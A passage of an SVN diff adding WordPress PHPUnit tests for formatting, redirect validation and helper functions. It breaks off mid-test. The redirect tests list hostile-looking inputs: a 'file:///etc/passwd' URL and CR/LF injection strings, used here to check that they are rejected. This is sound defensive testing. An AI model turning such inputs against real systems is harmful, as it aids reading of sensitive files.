+		add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+		$utf8 = 'Fran' .chr(195) . chr(167) .'ais';
+		$this->assertEquals( '&lt;p&gt;' . $utf8 . "&lt;/p&gt;\n", wp_richedit_pre( $utf8 ) );
+		remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WpTrimExcerpt.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WpTrimExcerpt.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WpTrimExcerpt.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * @group formatting
+ * @covers ::wp_trim_excerpt
+ */
+class Tests_Formatting_WpTrimExcerpt extends WP_UnitTestCase {
+	/**
+	 * @ticket 25349
+	 */
+	public function test_secondary_loop_respect_more() {
+		$post1 = self::factory()->post->create( array(
+			'post_content' => 'Post 1 Page 1<!--more-->Post 1 Page 2',
+		) );
+		$post2 = self::factory()->post->create( array(
+			'post_content' => 'Post 2 Page 1<!--more-->Post 2 Page 2',
+		) );
+
+		$this->go_to( '/?p=' . $post1 );
+		setup_postdata( get_post( $post1 ) );
+
+		$q = new WP_Query( array(
+			'post__in' => array( $post2 ),
+		) );
+		if ( $q->have_posts() ) {
+			while ( $q->have_posts() ) {
+				$q->the_post();
+				$this->assertSame( 'Post 2 Page 1', wp_trim_excerpt() );
+			}
+		}
+	}
+
+	/**
+	 * @ticket 25349
+	 */
+	public function test_secondary_loop_respect_nextpage() {
+		$post1 = self::factory()->post->create( array(
+			'post_content' => 'Post 1 Page 1<!--nextpage-->Post 1 Page 2',
+		) );
+		$post2 = self::factory()->post->create( array(
+			'post_content' => 'Post 2 Page 1<!--nextpage-->Post 2 Page 2',
+		) );
+
+		$this->go_to( '/?p=' . $post1 );
+		setup_postdata( get_post( $post1 ) );
+
+		$q = new WP_Query( array(
+			'post__in' => array( $post2 ),
+		) );
+		if ( $q->have_posts() ) {
+			while ( $q->have_posts() ) {
+				$q->the_post();
+				$this->assertSame( 'Post 2 Page 1', wp_trim_excerpt() );
+			}
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/Zeroise.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/Zeroise.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/Zeroise.php	(revision 56912)
@@ -0,0 +1,14 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Zeroise extends WP_UnitTestCase {
+	function test_pads_with_leading_zeroes() {
+		$this->assertEquals("00005", zeroise(5, 5));
+	}
+
+	function test_does_nothing_if_input_is_already_longer() {
+		$this->assertEquals("5000000", zeroise(5000000, 2));
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/balanceTags.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/balanceTags.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/balanceTags.php	(revision 56912)
@@ -0,0 +1,207 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_BalanceTags extends WP_UnitTestCase {
+
+	function nestable_tags() {
+		return array(
+			array( 'blockquote' ), array( 'div' ), array( 'object' ), array( 'q' ), array( 'span' ),
+		);
+	}
+
+	// This is a complete(?) listing of valid single/self-closing tags.
+	function single_tags() {
+		return array(
+			array( 'area' ), array( 'base' ), array( 'basefont' ), array( 'br' ), array( 'col' ), array( 'command' ),
+			array( 'embed' ), array( 'frame' ), array( 'hr' ), array( 'img' ), array( 'input' ), array( 'isindex' ),
+			array( 'link' ), array( 'meta' ), array( 'param' ), array( 'source' ),
+		);
+	}
+
+	/**
+	 * If a recognized valid single tag appears unclosed, it should get self-closed
+	 *
+	 * @ticket 1597
+	 * @dataProvider single_tags
+	 */
+	function test_selfcloses_unclosed_known_single_tags( $tag ) {
+		$this->assertEquals( "<$tag />", balanceTags( "<$tag>", true ) );
+	}
+
+	/**
+	 * If a recognized valid single tag is given a closing tag, the closing tag
+	 *   should get removed and tag should be self-closed.
+	 *
+	 * @ticket 1597
+	 * @dataProvider single_tags
+	 */
+	function test_selfcloses_known_single_tags_having_closing_tag( $tag ) {
+		$this->assertEquals( "<$tag />", balanceTags( "<$tag></$tag>", true ) );
+	}
+
+	/**
+	 * @ticket 1597
+	 */
+	function test_closes_unknown_single_tags_with_closing_tag() {
+
+		$inputs = array(
+			'<strong/>',
+			'<em />',
+			'<p class="main1"/>',
+			'<p class="main2" />',
+		);
+		$expected = array(
+			'<strong></strong>',
+			'<em></em>',
+			'<p class="main1"></p>',
+			'<p class="main2"></p>',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_closes_unclosed_single_tags_having_attributes() {
+		$inputs = array(
+			'<img src="/images/example.png">',
+			'<input type="text" name="example">'
+		);
+		$expected = array(
+			'<img src="/images/example.png"/>',
+			'<input type="text" name="example"/>'
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_allows_validly_closed_single_tags() {
+		$inputs = array(
+			'<br />',
+			'<hr />',
+			'<img src="/images/example.png" />',
+			'<input type="text" name="example" />'
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $inputs[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	/**
+	 * @dataProvider nestable_tags
+	 */
+	function test_balances_nestable_tags( $tag ) {
+		$inputs = array(
+			"<$tag>Test<$tag>Test</$tag>",
+			"<$tag><$tag>Test",
+			"<$tag>Test</$tag></$tag>",
+		);
+		$expected = array(
+			"<$tag>Test<$tag>Test</$tag></$tag>",
+			"<$tag><$tag>Test</$tag></$tag>",
+			"<$tag>Test</$tag>",
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_allows_adjacent_nestable_tags() {
+		$inputs = array(
+			'<blockquote><blockquote>Example quote</blockquote></blockquote>',
+			'<div class="container"><div>This is allowed></div></div>',
+			'<span><span><span>Example in spans</span></span></span>',
+			'<blockquote>Main quote<blockquote>Example quote</blockquote> more text</blockquote>',
+			'<q><q class="inner-q">Inline quote</q></q>',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $inputs[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	/**
+	 * @ticket 20401
+	 */
+	function test_allows_immediately_nested_object_tags() {
+		$object = '<object id="obj1"><param name="param1"/><object id="obj2"><param name="param2"/></object></object>';
+		$this->assertEquals( $object, balanceTags( $object, true ) );
+	}
+
+	function test_balances_nested_non_nestable_tags() {
+		$inputs = array(
+			'<b><b>This is bold</b></b>',
+			'<b>Some text here <b>This is bold</b></b>',
+		);
+		$expected = array(
+			'<b></b><b>This is bold</b>',
+			'<b>Some text here </b><b>This is bold</b>',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_fixes_improper_closing_tag_sequence() {
+		$inputs = array(
+			'<p>Here is a <strong class="part">bold <em>and emphasis</p></em></strong>',
+			'<ul><li>Aaa</li><li>Bbb</ul></li>',
+		);
+		$expected = array(
+			'<p>Here is a <strong class="part">bold <em>and emphasis</em></strong></p>',
+			'<ul><li>Aaa</li><li>Bbb</li></ul>',
+		);
+
+		foreach ($inputs as $key => $input) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_adds_missing_closing_tags() {
+		$inputs = array(
+			'<b><i>Test</b>',
+			'<p>Test',
+			'<p>Test test</em> test</p>',
+			'</p>Test',
+			'<p>Here is a <strong class="part">Test</p>',
+		);
+		$expected = array(
+			'<b><i>Test</i></b>',
+			'<p>Test</p>',
+			'<p>Test test test</p>',
+			'Test',
+			'<p>Here is a <strong class="part">Test</strong></p>',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_removes_extraneous_closing_tags() {
+		$inputs = array(
+			'<b>Test</b></b>',
+			'<div>Test</div></div><div>Test',
+			'<p>Test test</em> test</p>',
+			'</p>Test',
+		);
+		$expected = array(
+			'<b>Test</b>',
+			'<div>Test</div><div>Test</div>',
+			'<p>Test test test</p>',
+			'Test',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/date.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/date.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/date.php	(revision 56912)
@@ -0,0 +1,96 @@
+<?php
+
+/**
+ * @group formatting
+ * @group datetime
+ */
+class Tests_Formatting_Date extends WP_UnitTestCase {
+
+	/**
+	 * Unpatched, this test passes only when Europe/London is not observing DST.
+	 *
+	 * @ticket 20328
+	 */
+	function test_get_date_from_gmt_outside_of_dst() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$gmt = $local = '2012-01-01 12:34:56';
+		$this->assertEquals( $local, get_date_from_gmt( $gmt ) );
+	}
+
+	/**
+	 * Unpatched, this test passes only when Europe/London is observing DST.
+	 *
+	 * @ticket 20328
+	 */
+	function test_get_date_from_gmt_during_dst() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$gmt   = '2012-06-01 12:34:56';
+		$local = '2012-06-01 13:34:56';
+		$this->assertEquals( $local, get_date_from_gmt( $gmt ) );
+	}
+
+	/**
+	 * @ticket 20328
+	 */
+	function test_get_gmt_from_date_outside_of_dst() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$local = $gmt = '2012-01-01 12:34:56';
+		$this->assertEquals( $gmt, get_gmt_from_date( $local ) );
+	}
+
+	/**
+	 * @ticket 20328
+	 */
+	function test_get_gmt_from_date_during_dst() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$local = '2012-06-01 12:34:56';
+		$gmt = '2012-06-01 11:34:56';
+		$this->assertEquals( $gmt, get_gmt_from_date( $local ) );
+	}
+
+	/**
+	 * @ticket 34279
+	 */
+	function test_get_date_and_time_from_gmt_no_timezone() {
+		$gmt = $local = '2012-01-01 12:34:56';
+		$this->assertEquals( $gmt, get_date_from_gmt( $local ) );
+	}
+
+	/**
+	 * @ticket 34279
+	 */
+	function test_get_gmt_from_date_no_timezone() {
+		$gmt = '2012-12-01 00:00:00';
+		$date = '2012-12-01';
+		$this->assertEquals( $gmt, get_gmt_from_date( $date ) );
+	}
+
+	/**
+	 * @ticket 34279
+	 */
+	function test_get_gmt_from_date_short_date() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$local = '2012-12-01';
+		$gmt = '2012-12-01 00:00:00';
+		$this->assertEquals( $gmt, get_gmt_from_date( $local ) );
+	}
+
+	/**
+	 * @ticket 34279
+	 */
+	function test_get_gmt_from_date_string_date() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$local = 'now';
+		$gmt = gmdate( 'Y-m-d H:i:s' );
+		$this->assertEquals( strtotime( $gmt ), strtotime( get_gmt_from_date( $local ) ), 'The dates should be equal', 2 );
+	}
+
+	/**
+	 * @ticket 34279
+	 */
+	function test_get_gmt_from_date_string_date_no_timezone() {
+		$local = 'now';
+		$gmt = gmdate( 'Y-m-d H:i:s' );
+		$this->assertEquals( strtotime( $gmt ), strtotime( get_gmt_from_date( $local ) ), 'The dates should be equal', 2 );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/ent2ncr.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/ent2ncr.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/ent2ncr.php	(revision 56912)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Ent2NCR extends WP_UnitTestCase {
+	/**
+	 * @dataProvider entities
+	 */
+	function test_converts_named_entities_to_numeric_character_references( $entity, $ncr ) {
+		$entity = '&' . $entity . ';';
+		$ncr = '&#' . $ncr . ';';
+		$this->assertEquals( $ncr, ent2ncr( $entity ), $entity );
+	}
+
+	/**
+	 Get test data from files, one test per line.
+	 Comments start with "###".
+	*/
+	function entities() {
+		$entities = file( DIR_TESTDATA . '/formatting/entities.txt' );
+		$data_provided = array();
+		foreach ( $entities as $line ) {
+			// comment
+			$commentpos = strpos( $line, "###" );
+			if ( false !== $commentpos ) {
+				$line = trim( substr( $line, 0, $commentpos ) );
+				if ( ! $line )
+					continue;
+			}
+			$data_provided[] = array_map( 'trim', explode( '|', $line ) );
+		}
+		return $data_provided;
+	}
+}
+
Index: /tags/5.0.20/tests/phpunit/tests/formatting/isoDescrambler.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/isoDescrambler.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/isoDescrambler.php	(revision 56912)
@@ -0,0 +1,14 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Test_WP_ISO_Descrambler extends WP_UnitTestCase {
+	/*
+	 * Decodes text in RFC2047 "Q"-encoding, e.g.
+	 * =?iso-8859-1?q?this=20is=20some=20text?=
+	*/
+    function test_decodes_iso_8859_1_rfc2047_q_encoding() {
+        $this->assertEquals("this is some text", wp_iso_descrambler("=?iso-8859-1?q?this=20is=20some=20text?="));
+    }
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/redirect.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/redirect.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/redirect.php	(revision 56912)
@@ -0,0 +1,134 @@
+<?php
+
+/**
+ * @group pluggable
+ * @group formatting
+ * @group redirect
+ */
+class Tests_Formatting_Redirect extends WP_UnitTestCase {
+	function setUp() {
+		add_filter( 'home_url', array( $this, 'home_url' ) );
+	}
+
+	function tearDown() {
+		remove_filter( 'home_url', array( $this, 'home_url' ) );
+	}
+
+	function home_url() {
+		return 'http://example.com/';
+	}
+
+	function test_wp_sanitize_redirect() {
+		$this->assertEquals('http://example.com/watchthelinefeedgo', wp_sanitize_redirect('http://example.com/watchthelinefeed%0Ago'));
+		$this->assertEquals('http://example.com/watchthelinefeedgo', wp_sanitize_redirect('http://example.com/watchthelinefeed%0ago'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0Dgo'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0dgo'));
+		$this->assertEquals('http://example.com/watchtheallowedcharacters-~+_.?#=&;,/:%!*stay', wp_sanitize_redirect('http://example.com/watchtheallowedcharacters-~+_.?#=&;,/:%!*stay'));
+		$this->assertEquals('http://example.com/watchtheutf8convert%F0%9D%8C%86', wp_sanitize_redirect("http://example.com/watchtheutf8convert\xf0\x9d\x8c\x86"));
+		//Nesting checks
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0%0ddgo'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0%0DDgo'));
+		$this->assertEquals('http://example.com/whyisthisintheurl/?param[1]=foo', wp_sanitize_redirect('http://example.com/whyisthisintheurl/?param[1]=foo'));
+		$this->assertEquals('http://[2606:2800:220:6d:26bf:1447:aa7]/', wp_sanitize_redirect('http://[2606:2800:220:6d:26bf:1447:aa7]/'));
+		$this->assertEquals('http://example.com/search.php?search=(amistillhere)', wp_sanitize_redirect('http://example.com/search.php?search=(amistillhere)'));
+		$this->assertEquals('http://example.com/@username', wp_sanitize_redirect('http://example.com/@username'));
+	}
+
+	/**
+	 * @dataProvider valid_url_provider
+	 */
+	function test_wp_validate_redirect_valid_url( $url, $expected ) {
+		$this->assertEquals( $expected, wp_validate_redirect( $url ) );
+	}
+
+	/**
+	 * @dataProvider invalid_url_provider
+	 */
+	function test_wp_validate_redirect_invalid_url( $url ) {
+		$this->assertEquals( false, wp_validate_redirect( $url, false ) );
+	}
+
+	function valid_url_provider() {
+		return array(
+			array( 'http://example.com', 'http://example.com' ),
+			array( 'http://example.com/', 'http://example.com/' ),
+			array( 'https://example.com/', 'https://example.com/' ),
+			array( '//example.com', 'http://example.com' ),
+			array( '//example.com/', 'http://example.com/' ),
+			array( 'http://example.com/?foo=http://example.com/', 'http://example.com/?foo=http://example.com/' ),
+			array( 'http://user@example.com/', 'http://user@example.com/' ),
+			array( 'http://user:@example.com/', 'http://user:@example.com/' ),
+			array( 'http://user:pass@example.com/', 'http://user:pass@example.com/' ),
+			array( " \t\n\r\0\x08\x0Bhttp://example.com", 'http://example.com' ),
+			array( " \t\n\r\0\x08\x0B//example.com", 'http://example.com' ),
+		);
+	}
+
+	function invalid_url_provider() {
+		return array(
+			// parse_url() fails
+			array( '' ),
+			array( 'http://:' ),
+
+			// non-safelisted domain
+			array( 'http://non-safelisted.example/' ),
+
+			// non-safelisted domain (leading whitespace)
+			array( " \t\n\r\0\x08\x0Bhttp://non-safelisted.example.com" ),
+			array( " \t\n\r\0\x08\x0B//non-safelisted.example.com" ),
+
+			// unsupported schemes
+			array( 'data:text/plain;charset=utf-8,Hello%20World!' ),
+			array( 'file:///etc/passwd' ),
+			array( 'ftp://example.com/' ),
+
+			// malformed input
+			array( 'http:example.com' ),
+			array( 'http:80' ),
+			array( 'http://example.com:1234:5678/' ),
+			array( 'http://user:pa:ss@example.com/' ),
+
+			array( 'http://user@@example.com' ),
+			array( 'http://user@:example.com' ),
+			array( 'http://user?@example.com' ),
+			array( 'http://user@?example.com' ),
+			array( 'http://user#@example.com' ),
+			array( 'http://user@#example.com' ),
+
+			array( 'http://user@@example.com/' ),
+			array( 'http://user@:example.com/' ),
+			array( 'http://user?@example.com/' ),
+			array( 'http://user@?example.com/' ),
+			array( 'http://user#@example.com/' ),
+			array( 'http://user@#example.com/' ),
+
+			array( 'http://user:pass@@example.com' ),
+			array( 'http://user:pass@:example.com' ),
+			array( 'http://user:pass?@example.com' ),
+			array( 'http://user:pass@?example.com' ),
+			array( 'http://user:pass#@example.com' ),
+			array( 'http://user:pass@#example.com' ),
+
+			array( 'http://user:pass@@example.com/' ),
+			array( 'http://user:pass@:example.com/' ),
+			array( 'http://user:pass?@example.com/' ),
+			array( 'http://user:pass@?example.com/' ),
+			array( 'http://user:pass#@example.com/' ),
+			array( 'http://user:pass@#example.com/' ),
+
+			array( 'http://user.pass@@example.com' ),
+			array( 'http://user.pass@:example.com' ),
+			array( 'http://user.pass?@example.com' ),
+			array( 'http://user.pass@?example.com' ),
+			array( 'http://user.pass#@example.com' ),
+			array( 'http://user.pass@#example.com' ),
+
+			array( 'http://user.pass@@example.com/' ),
+			array( 'http://user.pass@:example.com/' ),
+			array( 'http://user.pass?@example.com/' ),
+			array( 'http://user.pass@?example.com/' ),
+			array( 'http://user.pass#@example.com/' ),
+			array( 'http://user.pass@#example.com/' ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/sanitizeLocaleName.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/sanitizeLocaleName.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/sanitizeLocaleName.php	(revision 56912)
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * @group formatting
+ *
+ * @covers ::sanitize_locale_name
+ */
+class Tests_Formatting_SanitizeLocaleName extends WP_UnitTestCase {
+	/**
+	 * @dataProvider data_sanitize_locale_name_returns_non_empty_string
+	 */
+	public function test_sanitize_locale_name_returns_non_empty_string( $expected, $input ) {
+		$this->assertSame( $expected, sanitize_locale_name( $input ) );
+	}
+
+	public function data_sanitize_locale_name_returns_non_empty_string() {
+		return array(
+			// array( expected, input )
+			array( 'en_US', 'en_US' ),
+			array( 'en', 'en' ),
+			array( 'fr_FR', 'fr_FR' ),
+			array( 'fr_FR', 'fr_FR' ),
+			array( 'fr_FR-e2791ba830489d23043be8650a22a22b', 'fr_FR-e2791ba830489d23043be8650a22a22b' ),
+			array( '-fr_FRmo', '-fr_FR.mo' ),
+			array( '12324', '$12324' ),
+			array( '4124FRRa', '/4124$$$%%FRRa' ),
+			array( 'FR', '<FR' ),
+			array( 'FR_FR', 'FR_FR' ),
+			array( '--__', '--__' ),
+		);
+	}
+
+	/**
+	 * @dataProvider data_sanitize_locale_name_returns_empty_string
+	 */
+	public function test_sanitize_locale_name_returns_empty_string( $input ) {
+		$this->assertSame( '', sanitize_locale_name( $input ) );
+	}
+
+	public function data_sanitize_locale_name_returns_empty_string() {
+		return array(
+			// array( input )
+			array( '$<>' ),
+			array( '/$$$%%\\)' ),
+			array( '....' ),
+			array( '@///' ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/functions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/functions.php	(revision 56912)
@@ -0,0 +1,1417 @@
+<?php
+
+/**
+ * @group functions.php
+ */
+class Tests_Functions extends WP_UnitTestCase {
+	function test_wp_parse_args_object() {
+		$x = new MockClass;
+		$x->_baba = 5;
+		$x->yZ = "baba";
+		$x->a = array(5, 111, 'x');
+		$this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x));
+		$y = new MockClass;
+		$this->assertEquals(array(), wp_parse_args($y));
+	}
+
+	function test_wp_parse_args_array()  {
+		// arrays
+		$a = array();
+		$this->assertEquals(array(), wp_parse_args($a));
+		$b = array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x'));
+		$this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($b));
+	}
+
+	function test_wp_parse_args_defaults() {
+		$x = new MockClass;
+		$x->_baba = 5;
+		$x->yZ = "baba";
+		$x->a = array(5, 111, 'x');
+		$d = array('pu' => 'bu');
+		$this->assertEquals(array('pu' => 'bu', '_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x, $d));
+		$e = array('_baba' => 6);
+		$this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x, $e));
+	}
+
+	function test_wp_parse_args_other() {
+		$b = true;
+		wp_parse_str($b, $s);
+		$this->assertEquals($s, wp_parse_args($b));
+		$q = 'x=5&_baba=dudu&';
+		wp_parse_str($q, $ss);
+		$this->assertEquals($ss, wp_parse_args($q));
+	}
+
+	/**
+	 * @ticket 30753
+	 */
+	function test_wp_parse_args_boolean_strings() {
+		$args = wp_parse_args( 'foo=false&bar=true' );
+		$this->assertInternalType( 'string', $args['foo'] );
+		$this->assertInternalType( 'string', $args['bar'] );
+	}
+
+	/**
+	 * @ticket 35972
+	 */
+	function test_bool_from_yn() {
+		$this->assertTrue( bool_from_yn( 'Y' ) );
+		$this->assertTrue( bool_from_yn( 'y' ) );
+		$this->assertFalse( bool_from_yn( 'n' ) );
+	}
+
+	function test_path_is_absolute() {
+		$absolute_paths = array(
+			'/',
+			'/foo/',
+			'/foo',
+			'/FOO/bar',
+			'/foo/bar/',
+			'/foo/../bar/',
+			'\\WINDOWS',
+			'C:\\',
+			'C:\\WINDOWS',
+			'\\\\sambashare\\foo',
+			);
+		foreach ($absolute_paths as $path)
+			$this->assertTrue( path_is_absolute($path), "path_is_absolute('$path') should return true" );
+	}
+
+	function test_path_is_not_absolute() {
+		$relative_paths = array(
+			'',
+			'.',
+			'..',
+			'../foo',
+			'../',
+			'../foo.bar',
+			'foo/bar',
+			'foo',
+			'FOO',
+			'..\\WINDOWS',
+			);
+		foreach ($relative_paths as $path)
+			$this->assertFalse( path_is_absolute($path), "path_is_absolute('$path') should return false" );
+	}
+
+	/**
+	 * @ticket 33265
+	 * @ticket 35996
+	 *
+	 * @dataProvider data_wp_normalize_path
+	 */
+	function test_wp_normalize_path( $path, $expected ) {
+		$this->assertEquals( $expected, wp_normalize_path( $path ) );
+	}
+	function data_wp_normalize_path() {
+		return array(
+			// Windows paths
+			array( 'C:\\www\\path\\', 'C:/www/path/' ),
+			array( 'C:\\www\\\\path\\', 'C:/www/path/' ),
+			array( 'c:/www/path', 'C:/www/path' ),
+			array( 'c:\\www\\path\\', 'C:/www/path/' ), // uppercase drive letter
+			array( 'c:\\\\www\\path\\', 'C:/www/path/' ),
+			array( '\\\\Domain\\DFSRoots\\share\\path\\', '//Domain/DFSRoots/share/path/' ),
+			array( '\\\\Server\\share\\path', '//Server/share/path' ),
+			array( '\\\\Server\\share', '//Server/share' ),
+
+			// Linux paths
+			array( '/www/path/', '/www/path/' ),
+			array( '/www/path/////', '/www/path/' ),
+			array( '/www/path', '/www/path' ),
+		);
+	}
+
+	function test_wp_unique_filename() {
+
+		$testdir = DIR_TESTDATA . '/images/';
+
+		// sanity check
+		$this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcdefg.png' ), 'Sanitiy check failed' );
+
+		// check number is appended for file already exists
+		$this->assertFileExists( $testdir . 'test-image.png', 'Test image does not exist' );
+		$this->assertEquals( 'test-image-1.png', wp_unique_filename( $testdir, 'test-image.png' ), 'Number not appended correctly' );
+		$this->assertFileNotExists( $testdir . 'test-image-1.png' );
+
+		// check special chars
+		$this->assertEquals( 'testtést-imagé.png', wp_unique_filename( $testdir, 'testtést-imagé.png' ), 'Filename with special chars failed' );
+
+		// check special chars with potential conflicting name
+		$this->assertEquals( 'tést-imagé.png', wp_unique_filename( $testdir, 'tést-imagé.png' ), 'Filename with special chars failed' );
+
+		// check with single quotes in name (somehow)
+		$this->assertEquals( "abcdefgh.png", wp_unique_filename( $testdir, "abcdefg'h.png" ), 'File with quote failed' );
+
+		// check with single quotes in name (somehow)
+		$this->assertEquals( "abcdefgh.png", wp_unique_filename( $testdir, 'abcdefg"h.png' ), 'File with quote failed' );
+
+		// test crazy name (useful for regression tests)
+		$this->assertEquals( '12af34567890@..^_qwerty-fghjkl-zx.png', wp_unique_filename( $testdir, '12%af34567890#~!@#$..%^&*()|_+qwerty  fgh`jkl zx<>?:"{}[]="\'/?.png' ), 'Failed crazy file name' );
+
+		// test slashes in names
+		$this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\fg.png' ), 'Slash not removed' );
+		$this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\fg.png' ), 'Double slashed not removed' );
+		$this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\\fg.png' ), 'Tripple slashed not removed' );
+	}
+
+	function test_is_serialized() {
+		$cases = array(
+			serialize(null),
+			serialize(true),
+			serialize(false),
+			serialize(-25),
+			serialize(25),
+			serialize(1.1),
+			serialize('this string will be serialized'),
+			serialize("a\nb"),
+			serialize(array()),
+			serialize(array(1,1,2,3,5,8,13)),
+			serialize( (object)array('test' => true, '3', 4) )
+		);
+		foreach ( $cases as $case )
+			$this->assertTrue( is_serialized($case), "Serialized data: $case" );
+
+		$not_serialized = array(
+			'a string',
+			'garbage:a:0:garbage;',
+			's:4:test;'
+		);
+		foreach ( $not_serialized as $case )
+			$this->assertFalse( is_serialized($case), "Test data: $case" );
+	}
+
+	/**
+	 * @ticket 17375
+	 */
+	function test_no_new_serializable_types() {
+		$this->assertFalse( is_serialized( 'C:16:"Serialized_Class":6:{a:0:{}}' ) );
+	}
+
+	/**
+	 * @dataProvider data_is_serialized_string
+	 */
+	public function test_is_serialized_string( $value, $result ) {
+		$this->assertSame( is_serialized_string( $value ), $result );
+	}
+
+	public function data_is_serialized_string() {
+		return array(
+			// Not a string.
+			array( 0, false ),
+
+			// Too short when trimmed.
+			array( 's:3   ', false ),
+
+			// Too short.
+			array( 's:3', false ),
+
+			// No colon in second position.
+			array( 's!3:"foo";', false ),
+
+			// No trailing semicolon.
+			array( 's:3:"foo"', false ),
+
+			// Wrong type.
+			array( 'a:3:"foo";', false ),
+
+			// No closing quote.
+			array( 'a:3:"foo;', false ),
+
+			// Wrong number of characters is close enough for is_serialized_string().
+			array( 's:12:"foo";', true ),
+
+			// Okay.
+			array( 's:3:"foo";', true ),
+
+		);
+	}
+
+	/**
+	 * @group add_query_arg
+	 */
+	function test_add_query_arg() {
+		$old_req_uri = $_SERVER['REQUEST_URI'];
+
+		$urls = array(
+			'/',
+			'/2012/07/30/',
+			'edit.php',
+			admin_url( 'edit.php' ),
+			admin_url( 'edit.php', 'https' ),
+		);
+
+		$frag_urls = array(
+			'/#frag',
+			'/2012/07/30/#frag',
+			'edit.php#frag',
+			admin_url( 'edit.php#frag' ),
+			admin_url( 'edit.php#frag', 'https' ),
+		);
+
+		foreach ( $urls as $url ) {
+			$_SERVER['REQUEST_URI'] = 'nothing';
+
+			$this->assertEquals( "$url?foo=1", add_query_arg( 'foo', '1', $url ) );
+			$this->assertEquals( "$url?foo=1", add_query_arg( array( 'foo' => '1' ), $url ) );
+			$this->assertEquals( "$url?foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $url ) );
+			$this->assertEquals( "$url?foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $url ) );
+
+			$_SERVER['REQUEST_URI'] = $url;
+
+			$this->assertEquals( "$url?foo=1", add_query_arg( 'foo', '1' ) );
+			$this->assertEquals( "$url?foo=1", add_query_arg( array( 'foo' => '1' ) ) );
